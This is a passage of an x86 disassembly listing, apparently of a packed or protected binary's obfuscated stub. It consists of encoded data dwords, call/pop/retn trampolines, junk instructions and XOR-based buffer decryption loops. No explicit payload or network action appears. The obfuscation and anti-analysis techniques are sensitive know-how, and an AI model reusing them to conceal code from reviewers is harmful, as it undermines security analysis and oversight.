		dd 7E94E15h, 0B5000000h, 88BA2EE2h, 3C5BBB50h, 0E830F61h
		dd 8B000001h, 0C8B60FDAh, 0BADABF0Fh, 6, 0FE9BD2Bh, 0C18B05D1h
		dd 120D9D89h, 0E8C105D1h, 6890F04h, 31000000h, 0D1194195h
		dd 0E2F76605h, 2BFFB70Fh, 9DBD8BC8h, 8B05D106h,	5ADB80D1h
		dd 15E9h, 9E800h, 0F42E0000h, 0D4FE24FEh, 89D3C39Ah, 0D10FF985h
		dd 858B5B05h, 5D12781h,	9158589h, 0C08305D1h, 0E5953107h
		dd 8905D130h, 0D10D6D95h, 0C08305h, 0BE9h, 0F40DC700h
		dd 0AE749F17h, 0B885454Bh, 830FD03Bh, 28h, 885BD8Bh, 895605D1h
		dd 0D11569BDh, 6EE95F05h, 0F000000h, 0F80h, 0AE900h, 6FB60000h
		dd 0E0F926AFh, 0F3E7F8ABh, 22CD8D8Bh, 25BF05D1h, 0B774D0C7h
		dd 1E1831Fh, 43840Fh, 0EE90000h, 0CC000000h, 0D485A922h
		dd 0F0E1A13Bh, 0D87ACF98h, 0CDA583F1h, 0FE05D122h, 186D8D31h
		dd 958905D1h, 5D12781h,	128F0Fh, 0DE90000h, 0DC000000h
		dd 72AB6249h, 0E35EDFh,	0EC2AF2CFh, 0E9h, 77B58D00h, 2905D4C5h
		dd 0D13161BDh, 0F9006A05h, 245995FFh, 0BD8B05D1h, 5D11BE1h
		dd 855B9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8A0FF321h, 6, 49A3F781h, 8D893E12h
		dd 5D10D01h, 6AFCE183h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0EA86C356h,	10E86Eh
		dd 2F670000h, 0A799FA31h, 59182C75h, 8AB78E5Ch,	816630DAh
		dd 5BFC07CFh, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 8A0632C1h, 895B9243h, 0D11F6DB5h
		dd 0B805h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0BD5489C3h, 0F9448B77h, 0BA7BA8E6h
		dd 0
; ---------------------------------------------------------------------------
		sbb	bx, 7663h


loc_5AEDFD:				; CODE XREF: ud2_____:005AEE07j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5AEDFD
		mov	bl, 9Bh
		push	0
		push	eax
		call	sub_5AEE16
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEE16	proc near		; CODE XREF: ud2_____:005AEE0Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5AEE16	endp

; ---------------------------------------------------------------------------
		fimul	word ptr [esi+6Ah]
		pop	ss
		test	[edx+29h], esi
		mov	[ebp+5D10E6Dh],	edi
		or	eax, 88h
		push	edi
		mov	edi, 6EE20DBFh
		pop	edi
		mov	edx, [ebp+5D11021h]
		mov	ebx, [ebp+5D1277Dh]
		mov	ecx, [ebp+5D11C09h]
		push	0
		push	edi
		call	sub_5AEE5C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEE5C	proc near		; CODE XREF: ud2_____:005AEE54p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5AEE5C	endp

; ---------------------------------------------------------------------------
		mov	bh, 0DEh
		cdq
		add	edx, [edx+1FCD9D2Bh]
		rol	dword ptr ds:8BC28B50h,	1
		sbb	[ebx], al
		ror	dword ptr [ebx-2E3E74E8h], 0E8h
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		mov	edi, 4416240Ah
		push	0
		push	edx
		call	sub_5AEE99
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEE99	proc near		; CODE XREF: ud2_____:005AEE91p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5AEE99	endp

; ---------------------------------------------------------------------------
		db 0B8h, 45h, 0D4h
; ---------------------------------------------------------------------------
		mov	ebx, 3544030h
		and	di, 0D284h
		cmp	dword ptr [ebp+5D10049h], 0
		jz	loc_5AEF21
		push	0
		push	ebx
		call	sub_5AEECE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEECE	proc near		; CODE XREF: ud2_____:005AEEC6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5AEECE	endp

; ---------------------------------------------------------------------------
		dw 0ECA8h
		dd 0FA8A7497h, 3189B531h, 0B805D1h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 12F9C351h, 0E381669Ah, 8D8D30ADh, 5D14CBDh, 9E1BD23h
		dd 0E1FF05D1h
; ---------------------------------------------------------------------------
		cmc


loc_5AEF21:				; CODE XREF: ud2_____:005AEEBDj
		cmp	dword ptr [ebp+5D10679h], 0
		jz	loc_5AF32A
		push	0
		push	ecx
		call	sub_5AEF39
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEF39	proc near		; CODE XREF: ud2_____:005AEF31p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5AEF39	endp

; ---------------------------------------------------------------------------
		db 71h,	0A3h, 0E4h
; ---------------------------------------------------------------------------
		push	edi
		not	dword ptr [edx]
		sbb	[ecx-2EF19E4Bh], cl
		add	eax, 679BD83h
		rol	dword ptr ds:0E2840F01h, 1
		add	eax, [eax]
		add	[edx+0], ch
		push	ebx
		call	sub_5AEF6E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEF6E	proc near		; CODE XREF: ud2_____:005AEF66p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5AEF6E	endp

; ---------------------------------------------------------------------------
		dw 0FF65h
		dd 0CF8166DFh, 0BD830B52h, 5D10679h, 7C860F03h,	66000003h
		dd 95F9E381h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0BE91Eh, 8FE60000h, 0D32AC3E3h, 5D8C5BE5h
		dd 82BABB9Ah, 8C665864h, 4E180D9h, 5E9h, 0A2BB9000h, 0C90A389Dh
		dd 123840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 8B66CCC3h, 858BF9DEh, 5D11731h
		dd 0A75BD23h, 0F78005D1h, 71853342h, 6A05D10Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0BD7BC353h, 0E9BD8B44h, 5005D123h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0BE1EC353h, 6A6D37h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0F8C35747h, 499D89B9h, 0BB05D123h, 79D3D4A8h
		dd 68DBBF0Fh, 0AB21784Bh, 48159B7h, 0FD8BB424h,	8166F554h
		dd 0FFEA9CC3h, 0D1111D95h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 552CE024h
		dd 2DF4B377h, 89FE8BBFh, 0D4831385h, 79BD8B05h,	0E905D132h
		dd 1C0h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 19h,	65C35747h, 0B5E1CCE6h, 56F781AFh, 8A389728h, 0B858BFDh
		dd 6A05D483h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 2327C357h, 91B20CCCh, 50BF66FCh
		dd 8B0F72h, 0F000000h, 582h, 0C3816600h, 0C71BB7h, 18h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A5C35646h
		dd 0EC3D4573h, 8BC402DAh, 0D4830FB5h, 0D98B6605h, 22A9858Bh
		dd 6A05D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0AAE19BC3h, 89415BC8h, 0D10A81B5h, 57068905h
		dd 11518529h, 8B5B05D1h, 0D1173185h, 66606005h,	87F8D981h
		dd 8D0Fh, 8B610000h, 0D119498Dh, 46896105h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 43CBEDCEh, 0E444C8DDh, 14E9E6h, 0BC60000h, 0ED4122B4h
		dd 9F03D4h, 33A958ABh, 0D19EC490h, 60507879h, 896172B1h
		dd 0B5FF2434h, 5D4830Bh, 1A800Fh, 0AE80000h, 5A000000h
		dd 21EF7132h, 0E5A08B83h, 5E90Ah, 42BC0000h, 5BE13FADh
		dd 21EDBD8Bh, 0D66805D1h, 66B5C291h, 81A234BFh,	72292404h
		dd 8D014A5Ch, 5D10B19h,	8313858Dh, 0F9005D4h, 0C80h, 7E900h
		dd 72780000h, 0D0861AFEh, 89905038h, 0D114EDB5h, 1D95FF05h
		dd 6A05D111h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0EC6AC355h, 399D8B51h,	5F05D102h
		dd 0FA8B6661h, 67985C7h, 305D1h, 9D030000h, 5D12161h, 8313BD83h
		dd 0F0005D4h, 5284h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 72E55827h, 89F9B70Fh
		dd 0D10ED9BDh, 40E905h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 667E84C3h, 95B529A1h
		dd 5005D130h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h
; ---------------------------------------------------------------------------
		jmp	short loc_5AF360
; ---------------------------------------------------------------------------


loc_5AF32A:				; CODE XREF: ud2_____:005AEF28j
					; ud2_____:005AF341j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5AF32A
		jmp	short loc_5AF360
; ---------------------------------------------------------------------------


loc_5AF345:				; CODE XREF: ud2_____:005AF35Cj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5AF345
		jmp	short $+2


loc_5AF360:				; CODE XREF: ud2_____:005AF328j
					; ud2_____:005AF343j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5AF36D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF36D	proc near		; CODE XREF: ud2_____:005AF365p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5AF36D	endp

; ---------------------------------------------------------------------------
		mov	ebp, 0DFBF0F02h
		mov	ebx, [ebp+5D11B61h]
		cmp	dword ptr [ebp+5D10679h], 3
		jnz	loc_5AF6AA
		mov	di, bx
		cmp	dword ptr [ebp+5D48313h], 0
		jz	loc_5AF6AA
		cld
		push	dword ptr [ebp+5D48313h]
		push	ecx
		push	ecx
		sub	bx, 3697h
		pop	edi
		pop	edi
		call	dword ptr [ebp+5D102FDh]
		mov	ebx, [ebp+5D10015h]
		mov	esi, [ebp+5D48307h]
		push	0
		push	esi
		call	sub_5AF3D2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF3D2	proc near		; CODE XREF: ud2_____:005AF3CAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5AF3D2	endp

; ---------------------------------------------------------------------------
		retn	0C740h
; ---------------------------------------------------------------------------
		db 6, 1, 0
		dd 0BD8B0001h, 5D11ED9h, 14E8h,	0EDCF0100h, 0E3CBCD02h
		dd 7388D31Fh, 9A1BB2BEh, 0B151C820h, 25950955h,	5B05D119h
		dd 0AE950h, 7C740000h, 7A1A3AEEh, 17609E45h, 66243489h
		dd 0B5FFFA8Bh, 5D48313h, 6899D29h, 95FF05D1h, 5D10681h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0ADC35141h
		dd 0BD2829Ah, 0D432CF40h, 9D01517Eh, 5D10CADh, 7B58B5Fh
		dd 6A05D483h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8036C353h, 858B20EFh, 5D11791h
		dd 86890DB7h, 0C4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0C7C35141h, 0E6689C5Ah, 8BBA9029h, 0D1102195h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0C7936441h, 679A4050h, 8499D23h,	0C28305D1h
		dd 61852904h, 8905D130h, 6A2050h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 25B494C3h, 52F844DCh
		dd 1829BD8Bh, 8D5B05D1h, 0D4963185h, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 26BE1EAh, 0B88689h
		dd 0E7800000h, 0F5006AB3h, 8313B5FFh, 6A05D4h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0EE62C3h, 9D093E20h,	5D1268Dh, 66FBB70Fh, 95FFFE8Bh
		dd 5D131F5h, 0C0F0BF66h, 0F88B6696h, 81BF6650h,	0FFF89629h
		dd 0D48313B5h, 7E805h, 58880000h, 5B4A5F5Ch, 0F381665Bh
		dd 0FF5F43B4h, 0D102D595h, 7E905h, 3F360000h, 895216F0h
		dd 7DBD83A1h, 5D11Fh, 10840Fh, 50F80000h, 800Fh, 34890000h
		dd 2D9BBF24h, 0B5FF09B8h, 5D48313h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0F7C35747h,	84C168BDh, 135995FFh
		dd 9D8B05D1h, 5D10009h,	8313B5FFh, 9D2B05D4h, 5D11DD5h
		dd 1D3995FFh, 6A05D1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0CF11F9C3h, 0DBD83FDh, 205D107h
		dd 2C840Fh, 8BF90000h, 0D117A585h, 0C605h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 76C35141h, 34A07449h
		dd 85C7A4D6h, 5D11F55h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5AF68F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF68F	proc near		; CODE XREF: ud2_____:005AF687p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5AF68F	endp

; ---------------------------------------------------------------------------
		db 96h
		dd 0EB20738Ah, 82D9D8Bh
		db 0D1h, 5
; ---------------------------------------------------------------------------


loc_5AF6AA:				; CODE XREF: ud2_____:005AF38Fj
					; ud2_____:005AF39Fj
		jmp	near ptr dword_5AEB64+4
; ---------------------------------------------------------------------------
		mov	edi, [ebp+5D11889h]
		mov	eax, ecx
		push	0
		push	ebx
		call	sub_5AF6C2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF6C2	proc near		; CODE XREF: ud2_____:005AF6BAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5AF6C2	endp

; ---------------------------------------------------------------------------
		mov	ah, 12h
		xchg	edx, [eax]
		movsx	edi, dx
		jmp	short loc_5AF6DF
; ---------------------------------------------------------------------------
		rcl	byte ptr [ecx+51h], cl
		dec	esp


loc_5AF6DF:				; CODE XREF: ud2_____:005AF6D9j
		jmp	loc_5AFC77
; ---------------------------------------------------------------------------
		dd 31EA81F9h, 28839CDAh, 9BB2CDh, 76B1CC35h, 504BE61Fh
		dd 6F94C695h, 82F2D9D2h, 0A0DB32F5h, 0BDC72E89h, 0B67709A2h
		dd 0D92CFA1Bh, 0E24A9D66h, 3168FD19h, 0D439083Eh, 9AEAC9CAh
		dd 0FFA056F1h, 313D4EB4h, 7CAE5288h, 0E359D5DAh, 7CCB3F7Fh
		dd 1FC0F6BFh, 29DAEF14h, 0ACA9E49Fh, 2B6CAE79h,	0D815C379h
		dd 56EB1419h, 0D62C07A0h, 44B9B445h, 836E7629h,	230EE679h
		dd 0AAABAD5h, 6ED5037Bh, 0EB124B51h, 0F62FF6C8h, 0DD38F38Ch
		dd 391497A6h, 5EBBABC2h, 0F865091Eh, 1B06EE83h,	36A74FE2h
		dd 9D30A540h, 6CAE6180h, 1AA75507h, 6198598Ch, 3D3148B7h
		dd 0DA8AA7D0h, 0BAC5200h, 0F685F17Ch, 752E41BFh, 0ABBBD42Eh
		dd 0AE61EAEEh, 0A5B6C06Ch, 78116CC9h, 46BFF674h, 0E4523B2Bh
		dd 0DAACFF41h, 2DB6C80Bh, 82B3514Eh, 0B7000000h, 2A533F45h
		dd 4E4F4217h, 0C96CAE85h, 9E4F59Bh, 0BDA758F3h,	0AE84E1F0h
		dd 0A641D16Ch, 4E0A516Dh, 5885B51h, 6CAE9118h, 3A32EDBFh
		dd 1, 203B453Eh, 8BA4D251h, 84CACBC6h, 1F4D6CAEh, 62C17864h
		dd 0D65D0617h, 98C297A8h, 9A0449F4h, 7B61126Eh,	20CC619Eh
		dd 0C3A3BAC5h, 67C1C66h, 3DE37975h, 0F0379131h,	0BCB0CB31h
		dd 1670782Eh, 99E74ACFh, 437CEE86h, 2A8D9ED8h, 5A6B9C3h
		dd 5240452Fh, 0DD181522h, 143AA04Ch, 0E883FD58h, 50ED0A19h
		dd 0A012C5AFh, 1A374C85h, 1C50AA81h, 0AE84A4B1h, 0D8758E6Ch
		dd 20725614h, 0AB59F40Dh, 711F5EBBh, 0EF7D710Ch, 84A6B71Ah
		dd 73216CAEh, 3F44A14Dh, 5915285Dh, 3411DD83h, 0ECB3B3C8h
		dd 0DC358B5Ah, 7678BB6Ah, 53514E0Ch, 6Bh, 2D4045D7h, 0FF99E441h
		dd 0D06D8A84h, 0EA984E1Ch, 0B96C5AFAh, 9B6E0378h, 55A26E94h
		dd 805A0A38h, 8EF7DEDFh, 0E916F3F3h, 0DCC1C4DCh, 13C1D637h
		dd 0FB96E34Eh, 0A64E71EBh, 477CAB1Fh, 514E9837h, 501Ch
		dd 0A191000h, 0CA905CF1h, 64F90229h, 0C756AD88h, 0AAC53F32h
		dd 3C8AE389h, 0BED328E9h, 0CE104A7Dh, 1C847E7Bh, 4585AF50h
		dd 2551203Bh, 7A5109A1h, 0FDE798CAh, 0AE7BA0B0h, 36F9906Ch
		dd 0AE7B7A9Bh, 944F1D6Ch, 7E10D312h, 7B514E13h,	1, 0EB0A19FFh
		dd 95A4D352h, 253443EAh, 16772E54h, 374856A5h, 0AE107B98h
		dd 984E1C6Ch, 0E14CFDE7h, 50190B9Ah, 4653381Dh,	771DC90h
		dd 969D4674h, 230ED36Ch, 0D69E41D8h, 767E116Bh,	16DE718Bh
		dd 8E9DD954h, 0A64131E6h, 0E6018910h, 0A8B9D02Fh, 4D213C45h
		dd 0D6C7CA9Fh, 716CADC0h, 3DBF7023h, 379A6F63h,	727ECC0Bh
		dd 2B16DE8Ch, 167DBED1h, 0BAD72CECh, 0BEDDD894h, 78727ECBh
		dd 649E578Eh, 7F85D0CBh, 0DF2500ECh, 0BF0FA04Ch, 17EF568h
		dd 5FA5806Ch, 94BA20CCh, 16C96499h, 415AF50Fh, 7DC35668h
		dd 15E534Bh, 0FB8A0000h, 7ED7C7D4h, 61124072h, 7E742C3Bh
		dd 9B0C246Bh, 0F77A727Fh, 0F7C1F28Dh, 0E2829BDAh, 0BF9A4A78h
		dd 0C6F12A45h, 0F20D0D6Bh, 23D18B5Bh, 9FCF3570h, 7F9B2330h
		dd 0E3F6A472h, 7F9AAFACh, 547A2872h, 3447BD98h,	279738h
		dd 3428BBC1h, 0D1FBE4B8h, 751B3442h, 730B6447h,	7D4B7C59h
		dd 41F6E7AAh, 0C3917280h, 494410h, 19D80000h, 0F77F42FDh
		dd 0BA47FD8Ch, 0F183BCEAh, 7C53269Ch, 6CAE84AFh, 60FB0528h
		dd 4428DE8Ch, 0AE855C79h, 8B5AEC6Ch, 65746A23h,	0AE857D2Eh
		dd 6F481A6Ch, 0BBF8h, 0FA7AE900h, 0A157E812h, 93EE97CDh
		dd 0C652BE00h, 2CC56F10h, 66F50174h, 860DDC8Eh,	6CAE8495h
		dd 0AFB26032h, 7F98A8E0h, 717D2F72h, 0CDD6E94h,	0A844D721h
		dd 45900132h, 45402C3Fh, 727F9A53h, 600C1F59h, 0AD6A7985h
		dd 0F574EB9Fh, 43F4F8AEh, 0AF02B473h, 9A890CDBh, 0BE2CC05Dh
		dd 0CB649E85h, 2D4AD9D0h, 0D58E5C10h, 64756927h, 23DDFED5h
		dd 0A8D77280h, 0B0633191h, 7CA81AA9h, 53DE7855h, 0EED68225h
		dd 0BD658F52h, 5A05E78Fh, 1629537Eh, 76FD8C60h,	0ED7F7708h
		dd 7E116B32h, 0E14C1F76h, 0CFDF809Bh, 0DAD8B018h, 1EB54417h
		dd 7854BEFDh, 0AC17C89Ah, 7E2A175Eh, 2470ABF9h,	6B7E742Ch
		dd 83DDE624h, 33336172h, 0CE93ACD6h, 597A1563h,	74077D58h
		dd 0ED723D78h, 8BFDBC07h, 0EF5FA55Ch, 7EDB3A0h,	208E54BCh
		dd 9E111C93h, 43B8F59Bh, 54BF782Eh, 0A8511D2Eh,	722D4045h
		dd 0B3B3CE2Bh, 60A144C2h, 68057E1Ah, 0F00A61BAh, 0C56975Fh
		dd 87000000h, 1D2D815Fh, 36E9F7E1h, 45190B6Eh, 0DB462E3Dh
		dd 7BE68EA1h, 98856900h, 3A27CF5Ch, 65C0ACC1h, 84610D20h
		dd 230EE67Bh, 4CA945D4h, 0B2551932h, 0FF068h, 242C8900h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 73682404h
		dd 8900004Fh, 0BB53242Ch, 21E064F9h, 79F3E381h,	0C38114F8h
		dd 4C460558h, 72B95143h, 1B8AEF2h, 0D88959CBh, 4EC835Bh
		dd 81242489h, 42404h, 505D0000h, 0F5243481h, 8F640635h
		dd 0BB530845h, 8, 3381EB01h, 640635F5h,	242C8B5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dec	ecx
		mov	eax, 0CAB6B60Ah
		or	ah, [eax]


loc_5AFC77:				; CODE XREF: ud2_____:loc_5AF6DFj
		mov	eax, 5D55DACh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 1F5C02F9h, 2F1334B0h, 7E9B3079h, 755ECDC9h, 78D302F6h
		dd 44C54912h, 4A7AEEC1h, 6C8F528Eh, 0E686142h, 5B0BE857h
		dd 20AF8B55h, 68D858Dh,	6A05D1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E9ABE0C3h, 14h, 3C5BB5F5h
		dd 566E7EBCh, 0D18FC45Fh, 0B61B8ED8h, 59507625h, 8B665190h
		dd 60505FFBh, 28F0Fh, 61600000h, 0FF0CBE66h, 6A9061h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 892D81C3h, 0D1149985h, 6A006A05h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0EFADC352h
		dd 6103D6CDh, 0D5BD23B0h, 6A05D119h, 8DBD8B00h,	8D05D116h
		dd 0D560A385h, 25BD8B05h, 8305D131h, 6A05C0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 59051FC3h
		dd 600C6187h, 3160FB8Bh, 0D11E159Dh, 0EE905h, 76DD0000h
		dd 2C08FF38h, 96E20D3Dh, 0ACBC2AA2h, 8F0F6161h,	5, 3E3DEDBBh
		dd 0E950906Eh, 14h, 0AB454959h,	0EA0DB52Fh, 3BA2E123h
		dd 8CC7EF67h, 0A6EE70E9h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 5012FF82h
		dd 0BD8BFAE5h, 5D11935h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0E8C592C3h, 0F950D648h
		dd 6AF85Ah, 68D0Fh, 0BD8B0000h,	5D10969h, 1B3995FFh, 5E905D1h
		dd 42000000h, 0E10C3189h, 81CF8D8Dh, 0BD8905D4h, 5D11889h
		dd 4F07C381h, 0D1FF655Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0A2C35242h, 0E71D2278h, 9529FE8Bh, 5D11101h
		dd 20E9BD83h, 0F0105D1h, 4E85h,	0D4E38100h, 6A6AA88Fh
		dd 8D0F9002h, 5, 6C22EABFh, 0DF8B506Bh,	0DF816690h, 95FFEAD8h
		dd 5D131F5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	9FC35747h, 0E6318367h, 810F7190h, 3, 0E9DF8B66h
		dd 0DE2h, 0E8h,	0ED815D00h, 5D560ADh, 6AF88Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 9FEF4FC3h, 8BCF145Ch, 6E8FEh, 27C00000h, 94E74335h
		dd 0CE9h, 4377E500h, 98D8EB29h,	0D12B9D27h, 858D5F7Ch
		dd 5D472B1h, 6820Fh, 57600000h,	61F78B5Ah, 69BF6690h, 62BB5023h
		dd 90073ED0h, 21E1BD8Bh, 0FF6405D1h, 35h, 9E800h, 0C9800000h
		dd 0E25B53FFh, 8B883A64h, 0D10C9DBDh, 89645B05h, 25h, 5BB6600h
		dd 1985FF31h, 8B05D127h, 0D11D759Dh, 6AFF6A05h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 92C7C356h, 8589B137h, 5D12281h, 14E1BD8Bh, 0B5FF05D1h
		dd 5D11389h, 0C5BD8Bh, 95FF05D1h, 5D11279h, 119E9h, 0F1BB6600h
		dd 0E800B0F1h, 0Bh, 0F2F7B751h,	0C23A0662h, 5FE15F99h
		dd 0DE970E6h, 0F5000000h, 458A0A8h, 0A8AE93DDh,	1FAF5E73h
		dd 952971E4h, 5D1187Dh,	830F613Ch, 0DEh, 5D98D89h, 0B60F05D1h
		dd 6BAC8h, 8D010000h, 5D12625h,	9D89C18Bh, 5D11695h, 0E904E8C1h
		dd 13h,	0A8CB54EFh, 919802A6h, 21EE450Ah, 0CE262ACCh, 66FAD371h
		dd 8B60E2F7h, 61D08AF0h, 0D18BC82Bh, 0E9FABF0Fh, 1Bh, 0E8E88A60h
		dd 0Bh,	0CFC9B029h, 2E7F4525h, 294153ADh, 0D106119Dh, 8B615E05h
		dd 0D1205185h, 0C3816605h, 0C083853Bh, 870F6007h, 0
; ---------------------------------------------------------------------------
		clc
		popa
		add	eax, 0
		mov	di, cx
		cmp	edx, eax
		jnb	loc_5B0093
		jmp	loc_5B00D2
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B0093
; ---------------------------------------------------------------------------
		db 0EEh, 0E5h, 48h
		db 0ADh, 0FDh, 0Fh
; ---------------------------------------------------------------------------


loc_5B0093:				; CODE XREF: ud2_____:005B007Aj
					; ud2_____:005B0088j
		mov	ecx, [ebp+5D119ADh]
		movsx	edi, di
		and	ecx, 1
		jz	loc_5B00D2
		xor	[ebp+5D115A9h],	ecx
		and	dword ptr [ebp+5D119ADh], 0FFFFFFFEh
		push	esi
		jmp	loc_5B00C1
; ---------------------------------------------------------------------------
		dd 973D3EA5h, 0EFB3407Fh
		db 0B3h
; ---------------------------------------------------------------------------


loc_5B00C1:				; CODE XREF: ud2_____:005B00B3j
		pop	edi
		mov	[ebp+5D12051h],	edx
		sub	bx, 0BBE9h
		jmp	$+5


loc_5B00D2:				; CODE XREF: ud2_____:005B0080j
					; ud2_____:005B009Fj
		lea	esi, [ebp+5D4CFD7h]
		js	loc_5B00E4
		mov	ebx, [ebp+5D10019h]


loc_5B00E4:				; CODE XREF: ud2_____:005B00D8j
		push	0
		or	bx, 215h
		call	dword ptr [ebp+5D12459h]
		push	0
		push	eax
		call	sub_5B00FC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B00FC	proc near		; CODE XREF: ud2_____:005B00F4p

arg_4		= dword	ptr  8

